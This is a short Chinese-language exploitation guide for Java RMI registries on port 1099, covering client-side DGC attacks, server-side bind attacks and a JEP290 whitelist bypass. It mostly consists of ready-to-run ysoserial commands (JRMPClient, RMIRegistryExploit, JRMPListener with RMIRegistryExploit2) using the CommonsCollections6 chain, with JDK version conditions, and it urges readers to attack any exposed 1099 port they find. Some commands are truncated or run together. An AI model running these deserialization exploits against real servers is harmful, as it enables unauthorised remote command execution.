- 1. 前言
- 2. 利用
- 2.1 客户端攻击注册中心
- 2.2 服务端攻击注册中心
- 2.3 绕过白名单限制
- 参考文章
被攻击的是 rmi register服务端,一般在1099端口。如果遇见了暴露的1099端口可以尝试攻击一下。
2. 利用报错不用管,命令会正常执行
报错不用管,命令会正常执行
2.1 客户端攻击注册中心
这是一种客户端攻击服务中心的方法,原理是RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。
条件jdk<=jdk8u111
java -cp ysoserial.jar ysoserial.exploit.JRMPClient 192.168.171.139 1099 CommonsCollections6 "touch2.2 服务端攻击注册中心
服务端需要将自己想注册的类绑定到注册中心上,可以直接发送反序列化数据给注册中心,进而可以造成反序列化漏洞。
#使用bind的方式绑定恶意payload进行攻击,反序列化的直接执行链命令。
条件jdk<=jdk8u111
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 CommonsCollections6 "touch /tmp/123"2.3 绕过白名单限制
这种限制也叫做jep290,JDK分别为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单,即只允许反序列化特定类。
jdk8u232_b09版本对反序列化的类做了白名单限制:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 "touch /tmp/123" java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit2 192.168.171.139 1099 192.168.171.1 12345
条件jdk<=jdk8u232_b09
需要特殊版本的ysoserial,具体参考下面的文章:
https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI参考文章
https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI
https://blog.csdn.net/qsort_/article/details/104874111
http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/
https://paper.seebug.org/1194/#_7



